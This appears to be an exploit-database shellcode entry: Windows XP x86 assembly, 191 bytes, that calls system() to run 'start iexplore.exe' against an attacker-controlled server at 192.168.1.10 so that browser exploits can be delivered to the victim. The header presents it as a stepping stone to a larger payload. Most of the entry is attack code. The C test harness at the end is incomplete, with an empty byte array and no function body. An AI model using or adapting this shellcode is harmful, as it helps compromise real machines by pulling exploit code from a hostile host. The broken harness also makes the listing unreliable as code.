Windows/x86 - Start iexplore.exe ( Shellcode (191 Bytes)




191 bytes





# Title: start iexplore.exe
# Author: Joseph McDonagh
# Shellcode length 191
# Could be smaller if the app your are exploiting loads msvcrt.
# Purpose: Use the start command to open internet explorer and connect to a malicious web server
# The command this runs is simply start iexplore.exe (Attacker controlled server), which can lead to a more productive payload.
# This code can exploit browser vulnerabilities without (or with) social engineering.
# Tested on: WinXP SP 2
# Thanks to Kartik Durg and sharing the shellcode entry 46281 and sharing the details on the iamroot blog  This got me going in the right direction. And to POB. Using "start" is helpful for this type of payload.
# Complile on Kali #i686-w64-mingw32-gcc sie.c -o sie.exe

***** Assembly code follows *****

; The portion loads msvcrt to make the syscall.
; Hardcoded for winxp

xor eax, eax             
mov ax, 0x7472           
push eax
push dword 0x6376736d    
push esp

; LoadLibrary (hardcoded for Windows XP. 
; Can find this on a debugger or arwin)
mov ebx, 0x7c801d77    
call ebx
mov ebp, eax             

xor eax, eax       
PUSH eax                ; null terminator
push 0x2f30312e	; /10.
push 0x30312e38	; 01.8
push 0x36312e32	; 61.2
push 0x39312f2f	; 91//
push 0x3a707474	; :ptt
push 0x68206578	; h ex
push 0x652e6572	;
push 0x6f6c7078	; olpx
push 0x65692074	; ei t
push 0x72617473	; rats

; Below code moves the pointer and executes the system call that runs the command.

mov edi,esp
push edi
mov eax, 0x77c293c7
call eax

xor eax, eax
push eax
mov eax, 0x7c81caa2
call eax

char code[]=


int main(int argc, char **argv)
int (*func)();
func = (int (*)()) code;